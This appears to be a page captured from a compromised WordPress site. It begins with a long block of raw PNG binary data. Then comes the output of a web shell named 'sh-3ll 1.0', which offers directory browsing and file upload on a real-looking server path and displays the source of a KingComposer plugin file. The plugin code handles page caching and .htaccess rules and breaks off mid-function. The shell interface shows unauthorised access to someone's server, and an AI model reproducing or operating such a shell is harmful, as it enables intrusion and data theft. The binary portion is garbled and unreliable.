PNG  IHDRQgAMA a cHRMz&u0`:pQ<bKGDgmIDATxwUﹻ& ^CX(J I@ "% (** BX +*i"]j(IH{~R)[~>h{}gy)I$Ij .I$I$ʊy@}x.: $I$Ii}VZPC)I$IF ^0ʐJ$I$Q^}{"r=OzI$gRZeC.IOvH eKX $IMpxsk.쒷/&r[޳<v| .I~)@$updYRa$I |M.e JaֶpSYR6j>h%IRز if&uJ)M$I vLi=H;7UJ,],X$I1AҒJ$ XY XzI@GNҥRT)E@;]K*Mw;#5_wOn~\ DC&$(A5 RRFkvIR}l!RytRl;~^ǷJj اy뷦BZJr&ӥ8Pjw~vnv X^(I;4R=P[3]J,]ȏ~:3?[ a&e)`e*P[4]T=Cq6R[ ~ޤrXR Հg(t_HZ-Hg M$ãmL5R uk*`%C-E6/%[t X.{8P9Z.vkXŐKjgKZHg(aK9ڦmKjѺm_ \#$5,)-  61eJ,5m| r'= &ڡd%-]J on Xm|{ RҞe $eڧY XYrԮ-a7RK6h>n$5AVڴi*ֆK)mѦtmr1p| q:흺,)Oi*ֺK)ܬ֦K-5r3>0ԔHjJئEZj,%re~/z%jVMڸmrt)3]J,T K֦OvԒgii*bKiNO~%PW0=dii2tJ9Jݕ{7"I P9JKTbu,%r"6RKU}Ij2HKZXJ,妝 XYrP ެ24c%i^IK|.H,%rb:XRl1X4Pe/`x&P8Pj28Mzsx2r\zRPz4J}yP[g=L) .Q[6RjWgp FIH*-`IMRaK9TXcq*I y[jE>cw%gLRԕiFCj-ďa`#e~I j,%r,)?[gp FI˨mnWX#>mʔ XA DZf9,nKҲzIZXJ,L#kiPz4JZF,I,`61%2s $,VOϚ2/UFJfy7K> X+6 STXIeJILzMfKm LRaK9%|4p9LwJI!`NsiazĔ)%- XMq>pk$-$Q2x#N ؎-QR}ᶦHZډ)J,l#i@yn3LN`;nڔ XuX5pF)m|^0(>BHF9(cզEerJI rg7 4I@z0\JIi䵙RR0s;$s6eJ,`n 䂦0a)S)A 1eJ,堌#635RIgpNHuTH_SԕqVe ` &S)>p;S$魁eKIuX`I4춒o}`m$1":PI<[v9^\pTJjriRŭ P{#{R2,`)e-`mgj~1ϣLKam7&U\j/3mJ,`F;M'䱀 .KR#)yhTq;pcK9(q!w?uRR,n.yw*UXj#\]ɱ(qv2=RqfB#iJmmL<]Y͙#$5 uTU7ӦXR+q,`I}qL'`6Kͷ6r,]0S$- [RKR3oiRE|nӦXR.(i:LDLTJjY%o:)6rxzҒqTJjh㞦I.$YR.ʼnGZ\ֿf:%55 I˼!6dKxm4E"mG_ s? .e*?LRfK9%q#uh$)i3ULRfK9yxm܌bj84$i1U^@Wbm4uJ,ҪA>_Ij?1v32[gLRD96oTaR׿N7%L2 NT,`)7&ƝL*꽙yp_$M2#AS,`)7$rkTA29_Iye"|/0t)$n XT2`YJ;6Jx".e<`$) PI$5V4]29SRI>~=@j]lp2`K9Jaai^" Ԋ29ORI%:XV5]JmN9]H;1UC39NI%Xe78t)a;Oi Ҙ>Xt"~G>_mn:%|~ޅ_+]$o)@ǀ{hgN;IK6G&rp)T2i୦KJuv*T=TOSV>(~D>dm,I*Ɛ:R#ۙNI%D>G.n$o;+#RR!.eU˽TRI28t)1LWϚ>IJa3oFbu&:tJ*(F7y0ZR ^p'Ii L24x| XRI%ۄ>S1]Jy[zL$adB7.eh4%%누>WETf+3IR:I3Xה)3אOۦSRO'ٺ)S}"qOr[B7ϙ.edG)^ETR"RtRݜh0}LFVӦDB^k_JDj\=LS(Iv─aTeZ%eUAM-0;~˃@i|l @S4y72>sX-vA}ϛBI!ݎߨWl*)3{'Y|iSlEڻ(5KtSI$Uv02,~ԩ~x;P4ցCrO%tyn425:KMlD ^4JRxSهF_}شJTS6uj+ﷸk$eZO%G*^V2u3EMj3k%)okI]dT)URKDS 7~m@TJR~荪fT"֛L \sM -0T KfJz+nإKr L&j()[E&I ߴ>e FW_kJR|!O:5/2跌3T-'|zX ryp0JS ~^F>-2< `*%ZFP)bSn"L :)+pʷf(pO3TMW$~>@~ū:TAIsV1}S2<%ޟM?@iT ,Eūoz%i~g|`wS(]oȤ8)$ ntu`өe`6yPl IzMI{ʣzʨ )IZ2= ld:5+請M$-ї;U>_gsY$ÁN5WzWfIZ)-yuXIfp~S*IZdt;t>KūKR|$#LcԀ+2\;kJ`]YǔM1B)UbG"IRߊ<xܾӔJ0Z='Y嵤 Leveg)$znV-º^3Ւof#0Tfk^Zs[*I꯳3{)ˬW4Ւ4 OdpbZRS|*I 55#"&-IvT&/윚Ye:i$ 9{LkuRe[I~_\ؠ%>GL$iY8 9ܕ"S`kS.IlC;Ҏ4x&>u_0JLr<J2(^$5L s=MgV ~,Iju> 7r2)^=G$1:3G< `J3~&IR% 6Tx/rIj3O< ʔ&#f_yXJiގNSz; Tx(i8%#4 ~AS+IjerIUrIj362v885+IjAhK__5X%nV%Iͳ-y|7XV2v4fzo_68"S/I-qbf; LkF)KSM$ Ms>K WNV}^`-큧32ŒVؙGdu,^^m%6~Nn&͓3ŒVZMsRpfEW%IwdǀLm[7W&bIRL@Q|)* i ImsIMmKmyV`i$G+R 0tV'!V)֏28vU7͒vHꦼtxꗞT ;S}7Mf+fIRHNZUkUx5SAJㄌ9MqμAIRi|j5)o*^'<$TwI1hEU^c_j?Е$%d`z cyf,XO IJnTgA UXRD }{H}^S,P5V2\Xx`pZ|Yk:$e ~ @nWL.j+ϝYb퇪bZ BVu)u/IJ_ 1[p.p60bC >|X91P:N\!5qUB}5a5ja `ubcVxYt1N0Zzl4]7­gKj]?4ϻ *[bg$)+À*x쳀ogO$~,5 زUS9 lq3+5mgw@np1sso Ӻ=|N6 /g(Wv7U;zωM=wk,0uTg_`_P`uz?2yI!b`kĸSo+Qx%!\οe|އԁKS-s6pu_(ֿ$i++T8=eY; צP+phxWQv*|p1. ά. XRkIQYP,drZ | B%wP|S5`~́@i޾ E;Չaw{o'Q?%iL{u D?N1BD!owPHReFZ* k_-~{E9b-~P`fE{AܶBJAFO wx6Rox5 K5=WwehS8 (JClJ~ p+Fi;ŗo+:bD#g(C"wA^ r.F8L;dzdIHUX݆ϞXg )IFqem%I4dj&ppT{'{HOx( Rk6^C٫O.)3:s(۳(Z?~ٻ89zmT"PLtw䥈5&b<8GZ-Y&K?e8,`I6e(֍xb83 `rzXj)F=l($Ij 2*(F?h(/9ik:I`m#p3MgLaKjc/U#n5S# m(^)=y=đx8ŬI[U]~SцA4p$-F i(R,7Cx;X=cI>{Km\ o(Tv2vx2qiiDJN,Ҏ!1f 5quBj1!8 rDFd(!WQl,gSkL1Bxg''՞^ǘ;pQ P(c_ IRujg(Wz bs#P­rz> k c&nB=q+ؔXn#r5)co*Ũ+G?7< |PQӣ'G`uOd>%Mctz# Ԫڞ&7CaQ~N'-P.W`Oedp03C!IZcIAMPUۀ5J<\u~+{9(FbbyAeBhOSܳ1 bÈT#ŠyDžs,`5}DC-`̞%r&ڙa87QWWp6e7 Rϫ/oY ꇅ Nܶըtc!LA T7V4Jsū I-0Pxz7QNF_iZgúWkG83 0eWr9 X]㾮݁#Jˢ C}0=3ݱtBi]_ &{{[/o[~ \q鯜00٩|cD3=4B_b RYb$óBRsf&lLX#M*C_L܄:gx)WΘsGSbuL rF$9';\4Ɍq'n[%p.Q`u hNb`eCQyQ|l_C>Lb꟟3hSb #xNxSs^ 88|Mz)}:](vbۢamŖ࿥ 0)Q7@0=?^k(*J}3ibkFn HjB׻NO z x}7p 0tfDX.lwgȔhԾŲ }6g E |LkLZteu+=q\Iv0쮑)QٵpH8/2?Σo>Jvppho~f>%bMM}\//":PTc(v9v!gոQ )UfVG+! 35{=x\2+ki,y$~A1iC6#)vC5^>+gǵ@1Hy٪7u;p psϰu/S <aʸGu'tD1ԝI<pg|6j'p:tպhX{o(7v],*}6a_ wXRk,O]Lܳ~Vo45rp"N5k;m{rZbΦ${#)`(Ŵg,;j%6j.pyYT?}-kBDc3qA`NWQū20/^AZW%NQ MI.X#P#,^Ebc&?XR tAV|Y.1!؅⨉ccww>ivl(JT~ u`ٵDm q)+Ri x/x8cyFO!/*!/&,7<.N,YDŽ&ܑQF1Bz)FPʛ?5d 6`kQձ λc؎%582Y&nD_$Je4>a?! ͨ|ȎWZSsv8 j(I&yj Jb5m?HWp=g}G3#|I,5v珿] H~R3@B[☉9Ox~oMy=J;xUVoj bUsl_35t-(ՃɼRB7U!qc+x4H_Qo֮$[GO<4`&č\GOc[.[*Af%mG/ ňM/r W/Nw~B1U3J?P&Y )`ѓZ1p]^l“W#)lWZilUQu`-m|xĐ,_ƪ|9i:_{*(3Gѧ}UoD+>m_?VPۅ15&}2|/pIOʵ> GZ9cmíتmnz)yߐbD >e}:) r|@R5qVSA10C%E_'^8cR7O;6[eKePGϦX7jb}OTGO^jn*媓7nGMC t,k31Rb (vyܴʭ!iTh8~ZYZp(qsRL ?b}cŨʊGO^!rPJO15MJ[c&~Z`"ѓޔH1C&^|Ш|rʼ,AwĴ?b5)tLU)F| &g٣O]oqSUjy(x<Ϳ3 .FSkoYg2 \_#wj{u'rQ>o;%n|F*O_L"e9umDds?.fuuQbIWz |4\0 sb;OvxOSs; G%T4gFRurj(֍ڑb uԖKDu1MK{1^ q; C=6\8FR艇!%\YÔU| 88m)֓NcLve C6z;o&X x59:q61Z(T7>C?gcļxѐ Z oo-08jہ x,`' ҔOcRlf~`jj".Nv+sM_]Zk g( UOPyεx%pUh2(@il0ݽQXxppx-NS( WO+轾 nFߢ3M<;z)FBZjciu/QoF 7R¥ ZFLF~#ȣߨ^<쩡ݛкvџ))ME>ώx4m#!-m!L;vv#~Y[đKmx9.[,UFS CVkZ +ߟrY٧IZd/ioi$%͝ب_ֶX3ܫhNU ZZgk=]=bbJS[wjU()*I =ώ:}-蹞lUj:1}MWm=̛ _ ¾,8{__m{_PVK^n3esw5ӫh#$-q=A̟> ,^I}P^J$qY~Q[ Xq9{#&T.^GVj__RKpn,b=`żY@^՝;z{paVKkQXj/)y TIc&F;FBG7wg ZZDG!x r_tƢ!}i/V=M/#nB8 XxЫ ^@CR<{䤭YCN)eKOSƟa $&g[i3.C6xrOc8TI;o hH6P&L{@q6[ Gzp^71j(l`J}]e6X☉#͕ ׈$AB1Vjh㭦IRsqFBjwQ_7Xk>y"N=MB0 ,C #o6MRc0|$)ف"1!ixY<B9mx `,tA>)5ػQ?jQ?cn>YZe Tisvh# GMމȇp:ԴVuږ8ɼH]C.5C!UV;F`mbBk LTMvPʍϤj?ԯ/Qr1NB`9s"s TYsz &9S%U԰> {<ؿSMxB|H\3@!U| k']$U+> |HHMLޢ?V9iD!-@x TIî%6Z*9X@HMW#?nN ,oe6?tQwڱ.]-y':mW0#!J82qFjH -`ѓ&M0u Uγmxϵ^-_\])@0Rt.8/?ٰCY]x}=sD3ojަЫNuS%U}ԤwHH>ڗjܷ_3gN q7[q2la*ArǓԖ+p8/RGM ]jacd(JhWko6ڎbj]i5Bj3+3!\j1UZLsLTv8HHmup<>gKMJj0@H%,W΃7R) ">c, xixј^ aܖ>H[i.UIHc U1=yW\=S*GR~)AF=`&2h`DzT󑓶J+?W+}C%P:|0H܆}-<;OC[~o.$~i}~HQ TvXΈr=b}$vizL4:ȰT|4~*!oXQR6Lk+#t/g lԁߖ[Jڶ_N$k*". xsxX7jRVbAAʯKҎU3)zSNN _'s?f)6X!%ssAkʱ>qƷb hg %n ~p1REGMHH=BJiy[<5 ǁJҖgKR*倳e~HUy)Ag,K)`Vw6bRR:qL#\rclK/$sh*$ 6덤 KԖc 3Z9=Ɣ=o>X Ώ"1 )a`SJJ6k(<c e{%kϊP+SL'TcMJWRm ŏ"w)qc ef꒵i?b7b('"2r%~HUS1\<(`1Wx9=8HY9m:X18bgD1u ~|H;K-Uep,, C1 RV.MR5άh,tWO8WC$ XRVsQS]3GJ|12 [vM :k#~tH30Rf-HYݺ-`I9%lIDTm\ S{]9gOڒMNCV\G*2JRŨ;Rҏ^ڽ̱mq1Eu?To3I)y^#jJw^Ńj^vvlB_⋌P4x>0$c>K†Aļ9s_VjTt0l#m>E-,,x,-W)سo&96RE XR.6bXw+)GAEvL)͞K4$p=Ũi_ѱOjb HY/+@θH9޼]Nԥ%n{ &zjT? Ty) s^ULlb,PiTf^<À] 62R^V7)S!nllS6~͝V}-=%* ʻ>G DnK<y&>LPy7'r=Hj 9V`[c"*^8HpcO8bnU`4JȪAƋ#1_\ XϘHPRgik(~G~0DAA_2p|J묭a2\NCr]M_0 ^T%e#vD^%xy-n}-E\3aS%yN!r_{ )sAw ڼp1pEAk~v<:`'ӭ^5 ArXOI驻T (dk)_\ PuA*BY]yB"l\ey hH*tbK)3 IKZ򹞋XjN n *n>k]X_d!ryBH ]*R 0(#'7 %es9??ښFC,ՁQPjARJ\Ρw K#jahgw;2$l*) %Xq5!U᢯6Re] |0[__64ch&_}iL8KEgҎ7 M/\`|.p,~`a=BR?xܐrQ8K XR2M8f ?`sgWS%" Ԉ 7R%$ N}?QL1|-эټwIZ%pvL3Hk>,ImgW7{E xPHx73RA @RS CC !\ȟ5IXR^ZxHл$Q[ŝ40 (>+ _C >BRt<,TrT {O/H+˟Pl6 I B)/VC<6a2~(XwV4gnXR ϱ5ǀHٻ?tw똤Eyxp{#WK qG%5],(0ӈH HZ])ג=K1j&G(FbM@)%I` XRg ʔ KZG(vP,<`[ Kn^ SJRsAʠ5xՅF`0&RbV tx:EaUE/{fi2;.IAwW8/tTxAGOoN?G}l L(n`Zv?pB8K_gI+ܗ #i?ޙ.) p$utc ~DžfՈEo3l/)I-U?aԅ^jxArA ΧX}DmZ@QLےbTXGd.^|xKHR{|ΕW_h] IJ`[G9{).y) 0X YA1]qp?p_k+J*Y@HI>^?gt.06Rn ,` ?);p pSF9ZXLBJPWjgQ|&)7! HjQt<| ؅W5 x W HIzYoVMGP Hjn`+\(dNW)F+IrS[|/a`K|ͻ0Hj{R,Q=\ (F}\WR)AgSG`IsnAR=|8$}G(vC$)s FBJ?]_u XRvύ6z ŨG[36-T9HzpW̞ú Xg큽=7CufzI$)ki^qk-) 0H*N` QZkk]/tnnsI^Gu't=7$ Z;{8^jB% IItRQS7[ϭ3 $_OQJ`7!]W"W,)Iy W AJA;KWG`IY{8k$I$^%9.^(`N|LJ%@$I}ֽp=FB*xN=gI?Q{٥4B)mw $Igc~dZ@G9K X?7)aK%݅K$IZ-`IpC U6$I\0>!9k} Xa IIS0H$I H ?1R.Чj:4~Rw@p$IrA*u}WjWFPJ$I➓/6#! LӾ+ X36x8J |+L;v$Io4301R20M I$-E}@,pS^ޟR[/s¹'0H$IKyfŸfVOπFT*a$I>He~VY/3R/)>d$I>28`Cjw,n@FU*9ttf$I~<;=/4RD~@ X-ѕzἱI$: ԍR a@b X{+Qxuq$IЛzo /~3\8ڒ4BN7$IҀj V]n18H$IYFBj3̵̚ja pp $Is/3R Ӻ-Yj+L;.0ŔI$Av? #!5"aʄj}UKmɽH$IjCYs?h$IDl843.v}m7UiI=&=0Lg0$I4: embe` eQbm0u? $IT!Sƍ'-sv)s#C0:XB2a w I$zbww{."pPzO =Ɔ\[ o($Iaw]`E).Kvi:L*#gР7[$IyGPI=@R 4yR~̮´cg I$I/<tPͽ hDgo 94Z^k盇΄8I56^W$I^0̜N?4*H`237}g+hxoq)SJ@p|` $I%>-hO0eO>\ԣNߌZD6R=K ~n($I$y3D>o4b#px2$yڪtzW~a $I~?x'BwwpH$IZݑnC㧄Pc_9sO gwJ=l1:mKB>Ab<4Lp$Ib o1ZQ@85b̍ S'F,Fe,^I$IjEdù{l4 8Ys_s Z8.x m"+{~?q,Z D!I$ϻ'|XhB)=…']M>5 rgotԎ 獽PH$IjIPhh)n#cÔqA'ug5qwU&rF|1E%I$%]!'3AFD/;Ck_`9 v!ٴtPV;x`'*bQa w I$Ix5 FC3D_~A_#O݆DvV?<qw+I$I{=Z8".#RIYyjǪ=fDl9%M,a8$I$Ywi[7ݍFe$s1ՋBVA?`]#!oz4zjLJo8$I$%@3jAa4(o ;p,,dya=F9ً[LSPH$IJYЉ+3> 5"39aZ<ñh!{TpBGkj}Sp $IlvF.F$I z< '\K*qq.f<2Y!S"-\I$IYwčjF$ w9 \ߪB.1v!Ʊ?+r:^!I$BϹB H"B;L'G[ 4U#5>੐)|#o0aڱ$I>}k&1`U#V?YsV x>{t1[I~D&(I$I/{H0fw"q"y%4 IXyE~M3 8XψL}qE$I[> nD?~sf ]o΁ cT6"?'_Ἣ $I>~.f|'!N?⟩0G KkXZE]ޡ;/&?k OۘH$IRۀwXӨ<7@PnS04aӶp.:@\IWQJ6sS%I$e5ڑv`3:x';wq_vpgHyXZ 3gЂ7{{EuԹn±}$I$8t;b|591nءQ"P6O5i }iR̈́%Q̄p!I䮢]O{H$IRϻ9s֧ a=`- aB\X0"+5"C1Hb?߮3x3&gşggl_hZ^,`5?ߎvĸ%̀M!OZC2#0x LJ0 Gw$I$I}<{Eb+y;iI,`ܚF:5ܛA8-O-|8K7s|#Z8a&><a&/VtbtLʌI$I$I$I$I$I$IRjDD%tEXtdate:create2022-05-31T04:40:26+00:00!Î%tEXtdate:modify2022-05-31T04:40:26+00:00|{2IENDB` sh-3ll

HOME


sh-3ll 1.0
DIR:/home/ami/www/kin.ami.rw/wp-content/plugins/kingcomposer/includes/
Upload File :
Current File : /home/ami/www/kin.ami.rw/wp-content/plugins/kingcomposer/includes/kc.optimized.php
<?php
/**
*
*	King Composer
*	(c) KingComposer.com
*	kc.optimized.php
*
*/
if(!defined('ABSPATH')) {
	header('HTTP/1.0 403 Forbidden');
	exit;
}

/*
*	cache class
*/

class kc_optimized {

	private $ignore;
	private $move_down_blocking_js = false;
	private $css_stack = array();
	private $js_stack = array();
	private $css_key;
	private $css_current;
	private $js_key;
	private $js_current;

	private $surl;
	private $jsx = "/<script(.*)>(.*)<\/script>/Uis";
	private $SS = '"(?:[^"\\\]++|\\\.)*+"|\'(?:[^\'\\\\]++|\\\.)*+\'';
	private $CC = '\/\*[\s\S]*?\*\/';
	private $CH = '<\!--[\s\S]*?-->';
	private $X = "\x1A";

	private $is_created = null;

	function __construct(){

		$this->surl = trailingslashit(str_replace(array('http://', 'https://'), "", KC_SITE));

		if (!is_admin()) {

			$case_get = false;
			if (isset($_GET['kc_optimized_action'])) {
				$action = $_GET['kc_optimized_action'];
				switch ($action) {
					case 'gethtml':
						remove_action('wp_head', 'print_emoji_detection_script', 7);
						remove_action('wp_print_styles', 'print_emoji_styles');
						remove_action( 'admin_print_scripts', 'print_emoji_detection_script');
						remove_action( 'admin_print_styles', 'print_emoji_styles');
						$case_get = true;
					break;
				}
			}

			if ($case_get === false) {

				add_action('wp_footer', array( &$this, 'in_footer' ), 99999);

			}

		}

	}

	public function in_footer() {

		global $kc, $post;

		$settings = get_option('kc_optimized', true);
		if (!kc_is_using() || !$kc->is($settings, array('enable'), 'on'))
			return;

		$kc_meta = get_post_meta ($post->ID , 'kc_data', true);

		if (isset($kc_meta['optimized']) && $kc_meta['optimized'] == 'deactive'){
			return;
		}

		if ($settings['global'] != 1 && (!isset($kc_meta['optimized'])))
			return;

		$url = (is_ssl() ? 'https://' : 'http://');
		$url .= $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];

		$path = $this->render_path_name($url);

		if (!is_file($path)){
			if ($this->parse($url) !== false)
				echo '<!--Optimized successful-->';
			else echo '<!--Optimized fail-->';
		}

	}

	public function parse($url = '') {

		if (!$this->is_internal($url) || !$this->create_htaccess())
			return false;

		$html = $this->get_html($url);

		// Remove all trip html
		$html = preg_replace('/<!--(.*)-->/Uis', '', $html);

		// Process CSS
		$regexp_css = '%<(link|style)(?=[^<>]*?(?:type="(text/css)"|>))(?=[^<>]*?(?:media="([^<>"]*)"|>))(?=[^<>]*?(?:href="(.*?)"|>))(?=[^<>]*(?:rel="([^<>"]*)"|>))(?:.*?</\1>|[^<>]*>)%si';

		$this->css_key = $this->css_current = $this->js_key = $this->js_current = '';
		$this->css_stack = $this->js_stack = array();

		$html = preg_replace_callback($regexp_css, array(&$this, 'preg_css'), $html);

		// Process Head
		$html = $this->process_js ($html);

		$map_id = array();
		$map_link = array();

		foreach ($this->js_stack as $id => $links) {

			$map_id[] = $id;
			$combined = $this->create_combined($links, 'js');

			if ($combined !== false)
				$map_link[] = $combined;
			else return false;

		}

		foreach ($this->css_stack as $id => $links) {

			$map_id[] = $id;
			$combined = $this->create_combined($links, 'css');

			if ($combined !== false)
				$map_link[] = $combined;
			else return false;

		}

		$html = str_replace($map_id, $map_link, $html);
		$html = trim($html);

		if (empty($html))
			return false;

		$html .= "\n".'<!-- This page has been optimized on '.date('l jS \of F Y h:i:s A').' by KingComposer Page Builder : https://kingcomposer.com -->';

		return $this->create_index_file($html, $url);

	}

	private function process_js ($html = '') {

		/* Process HEAD */
		$html = preg_replace_callback("/<head[^<>]*>(.*)<\/head>/Uis", array(&$this, 'process_head'), $html);
		while (strpos($html, "\n<body") !== false || strpos($html, "\n</head>") !== false || strpos($html, "</body>\n") !== false || strpos($html, "\n<html>") !== false || strpos($html, "\n</html>") !== false)
			$html = str_replace(array("\n<body", "\n<head>", "</body>\n", "\n<html", "\n</html>"), array('<body', '<head>', '</body>', '<html', '</html>'), $html);

		// Move all blocking script to after body
		$this->move_down_blocking_js = true;
		$this->stack_js_trace = array();
		$html = preg_replace_callback("/<body(.*)>(.*)<\/body>/Uis", array(&$this, 'process_body'), $html);

		$this->js_key = '';

		$html = preg_replace_callback("/<\/body>(.*)/is", array(&$this, 'process_after_body'), $html).implode("", $this->stack_js_trace);

		return $html;


	}

	private function process_head ($m) {

		$regexp_js = "/<script[^>](.*)>(.*)<\/script>/Uis";
		$html = preg_replace_callback($regexp_js, array(&$this, 'preg_head_js'), $m[0]);

		return $this->minify_html ($html);

	}

	private function process_body ($m) {

		$html = preg_replace_callback($this->jsx, array(&$this, 'preg_js'), $m[2]);

		// if did not move in preg, move it manual
		if ($this->js_key !== '' && $this->move_down_blocking_js !== 'body') {
			$html .= "<script type=\"text/javascript\" data-ref=\"optimized\" src=\"".$this->js_key."\"></script>";
			$this->js_key = '';
		}

		$html = '<body'.$m[1].'>'.$this->minify_html($html).implode("", $this->stack_js_trace).'</body>';
		$this->stack_js_trace = array();

		return $html;

	}

	private function process_after_body ($m) {

		return preg_replace_callback($this->jsx, array(&$this, 'preg_js'), $m[0]);

	}

	private function preg_css ($m) {

		$atts = (shortcode_parse_atts(trim(str_replace(array('<', '/>', '>'), array('', '', ''), $m[0]))));

		if (isset($atts['rel']) && $atts['rel'] == 'stylesheet') {

			$href = str_replace(array('http://', 'https://'), "", $atts['href']);

			if ($this->css_current != $this->css_key || $this->css_key === '') {

				$key = 'ref:index-'.rand(435305,43845686778);
				$this->css_key = $key;
				$this->css_current = $key;
				$this->css_stack[$key] = array();

				$this->css_stack[$key][] = $href;
				return "<link rel=\"stylesheet\" data-ref=\"optimized\" href=\"".$key."\" type=\"text/css\" media=\"all\" />";

			}else{ $this->css_stack[$this->css_current][] = $href;}

			return '';

		}else{

			$this->css_key = '';

			if(isset($atts['type']) && $atts['type'] == 'text/css') {

				while (strpos($m[0],"  ") !== false || strpos($m[0], "\n") !== false)
					$m[0] = str_replace(
						array( "\n","	", ": ", " {", "  "),
						array( '', '', ':', '{', " "),
						$m[0]
					);

				return $m[0];
			}

			return $m[0];
		}
	}

	private function preg_head_js ($m) {

		$atts = (shortcode_parse_atts(trim($m[1])));

		if (isset($atts['src'])) {

			$src = str_replace(array('http://', 'https://'), "", $atts['src']);
			if ($this->js_key === '') {

				$key = 'ref:index-'.rand(435305,43845686778);
				$this->js_key = $key;
				$this->js_current = $key;
				$this->js_stack[$key] = array();

				$this->js_stack[$key][] = $src;

			}else{ $this->js_stack[$this->js_key][] = $src;}

			return '';

		}else{

			$str = explode("\n", $m[0]);
			for ($i = 0; $i < count($str[0]); $i++) {
				if (strpos('//', trim($str[0][$i])) === 0)
					$str[0][$i] = '';
			}

			$str = preg_replace('/\/\*(.*)\*\//Uis', '', implode('', $str));

			while (strpos($str, "  ") !== false || strpos($str, "\n") !== false)
				$str = str_replace(
					array( "\n","	", ": ", " {", "  "),
					array( '', '', ':', '{', " "),
					$str
				);

			return $str;

		}
	}

	private function preg_js ($m) {

		$atts = (shortcode_parse_atts(trim($m[1])));

		if (isset($atts['src'])) {

			$src = str_replace(array('http://', 'https://'), "", $atts['src']);
			if ($this->js_key === '') {

				$key = 'ref:index-'.rand(435305,43845686778);
				$this->js_key = $key;
				$this->js_current = $key;
				$this->js_stack[$key] = array();

				$this->js_stack[$key][] = $src;
				$this->stack_js_trace[] = "<script type=\"text/javascript\" data-ref=\"optimized\" src=\"".$key."\"></script>";

			}else{ $this->js_stack[$this->js_current][] = $src;}

		}else{

			$str = $this->minify_js($m[0]);

			if ($this->js_key !== '' && isset($this->move_down_blocking_js) && $this->move_down_blocking_js === true) {
				$str = "<script type=\"text/javascript\" data-ref=\"optimized\" src=\"".$this->js_key."\"></script>".$str;
				$this->move_down_blocking_js = 'body';
			}

			$this->js_key = '';
			$this->stack_js_trace[] = $str;

		}

		return '';
	}

	private function get_html ($url = '') {

		if (strpos($url, '?') === false)
			$url .= '?kc_optimized_action=gethtml&nightly=cache';
		else $url .= '&kc_optimized_action=gethtml&nightly=cache';

		$request = wp_remote_get ($url);
		$response = wp_remote_retrieve_body ($request);

		return $response;

	}

	private function create_index_file ($html, $url) {

		$path = $this->render_path_name($url);
		if ($path === false)
			return false;

		return (!@file_put_contents($path, $html) && !is_file($path)) ? false : true;

	}

	public function check_htaccess($advanced = 0) {

		$path = ABSPATH;

		if(isset($_SERVER["SERVER_SOFTWARE"]) && $_SERVER["SERVER_SOFTWARE"] &&
			(preg_match("/iis/i", $_SERVER["SERVER_SOFTWARE"]) || (!preg_match("/Apache/i", $_SERVER["SERVER_SOFTWARE"])))
		){
			$this->deactive();
			return array("msg" => "Work only with Apache server software. Enable optimization failed", "stt" => 0);
		}

		$active_plugins = (array) get_option( 'active_plugins', array() );
		$ignores = array();
		$list = array(
			'wp-fastest-cache/wpFastestCache.php',
			'w3-total-cache/w3-total-cache.php',
			'wp-super-cache/wp-cache.php',
			'wp-hide-security-enhancer/wp-hide.php',
			'adrotate/adrotate.php',
			'adrotate-pro/adrotate.php',
			'mobilepress/mobilepress.php',
			'speed-booster-pack/speed-booster-pack.php',
			/*'cdn-enabler/cdn-enabler.php',*/
			'wp-performance-score-booster/wp-performance-score-booster.php',
			'bwp-minify/bwp-minify.php',
			'check-and-enable-gzip-compression/richards-toolbox.php',
			'gzippy/gzippy.php',
			'gzip-ninja-speed-compression/gzip-ninja-speed.php',
			'wordpress-gzip-compression/ezgz.php',
			'filosofo-gzip-compression/filosofo-gzip-compression.php',
			'head-cleaner/head-cleaner.php',
		);

		foreach ($list as $ign) {
			if (in_array($ign, $active_plugins))
				$ignores[] = '<li>'.$ign.'</li>';
		}

		if (count($ignores) > 0) {
			return array("msg" => "Could not enable optimized, some of plugins need to be deactived to avoid conflict: <ol>".implode("", $ignores)."</ol>", "stt" => 0);
		}

		if(!get_option('permalink_structure') || get_option('permalink_structure', true) == '') {
			return array("msg" => "Your permalink settings must be set and cannot be empty. Go to <a href='".admin_url('options-permalink.php')."' target=_blank>permalink settings</a>", "stt" => 0);
		}

		if ($this->create_htaccess($advanced))
			return array("msg" => "Enable optimization success", "stt" => 1);

		return array("msg" => "Could not created htaccess file, please make sure that your hosting is writable", "stt" => 0);

	}

	private function create_htaccess ($advanced = 0) {

		if (is_file(ABSPATH.'.htaccess') && !is_writable(ABSPATH.'.htaccess'))
			return false;

		$parse = parse_url(KC_SITE);
		$host = $parse['host'];
		$path = isset($parse['path']) ? $parse['path'] : '';
		$forceTo = $notSecure = $trailing_slash = '';

		if (!is_file(ABSPATH.'.htaccess')) {
			$wp_htaccess = <<<EOD
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase {$path}/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . {$path}/index.php [L]
</IfModule>

# END WordPress
EOD;

			if (!file_put_contents(ABSPATH.'.htaccess', $wp_htaccess) && !is_file(ABSPATH.'.htaccess'))
				return false;

			if(!get_option('permalink_structure'))
				add_option('permalink_structure', '/%postname%/');
			else update_option('permalink_structure', '/%postname%/');

		}

		ob_start();
		include ABSPATH.'.htaccess';
		$htcontent = ob_get_contents();
		ob_end_clean();

		if (strpos($htcontent, '# BEGIN KC Optimized') !== false &&
			strpos($htcontent, '# END KC Optimized') !== false &&
			(
				($advanced == 0 && strpos($htcontent, '# KC Gzip') === false) ||
				($advanced == 1 && strpos($htcontent, '# KC Gzip') !== false)
			)
		)return true;

		if (($advanced == 0 && strpos($htcontent, '# KC Gzip') !== false) ||
			($advanced == 1 && strpos($htcontent, '# KC Gzip') === false)) {
				$htcontent = preg_replace('/# BEGIN KC Optimized(.*)# END KC Optimized/Uis', '', $htcontent);
			}

		if(preg_match("/^https:\/\//", home_url())){
			if(preg_match("/^https:\/\/www\./", home_url())){
				$forceTo = "\nRewriteCond %{HTTPS} =on"."\n".
				           "RewriteCond %{HTTP_HOST} ^www.".str_replace("www.", "", $_SERVER["HTTP_HOST"]);
			}else{
				$forceTo = "\nRewriteCond %{HTTPS} =on"."\n".
						   "RewriteCond %{HTTP_HOST} ^".str_replace("www.", "", $_SERVER["HTTP_HOST"]);
			}
		}else{
			if(preg_match("/^http:\/\/www\./", home_url())){
				$forceTo = "\nRewriteCond %{HTTP_HOST} ^".str_replace("www.", "", $_SERVER["HTTP_HOST"])."\n".
						   "RewriteRule ^(.*)$ ".preg_quote(home_url(), "/")."\/$1 [R=301,L]";
			}else{
